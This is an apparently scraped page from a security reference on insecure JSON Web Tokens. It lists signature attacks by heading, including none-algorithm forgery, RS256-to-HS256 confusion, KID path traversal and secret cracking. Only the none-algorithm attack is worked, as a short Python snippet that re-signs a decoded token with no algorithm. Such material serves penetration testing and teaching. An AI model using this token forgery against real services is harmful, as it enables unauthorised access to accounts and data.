Insecure JSON Web Tokens
Theory
Practice
Authorization: Bearer eyJ0eXAiOiJKV1Q[...].eyJpc3MiOiJodHRwO[...].HAveF7AqeKj-4[...]Sensitive data
Signature attack - None algorithm
import jwt
old_token = 'eyJ0eXAiOiJKV1Q[...].eyJpc3MiOiJodHRwO[...].HAveF7AqeKj-4[...]'
old_token_payload = jwt.decode(old_token, verify=False)
new_token = jwt.encode(old_token_payload, key='', algorithm=None)
print(new_token)Signature attack - RS256 to HS256
Signature attack - KID header path traversal
Cracking the secret
Recovering the public key
Resources
Last updated
Was this helpful?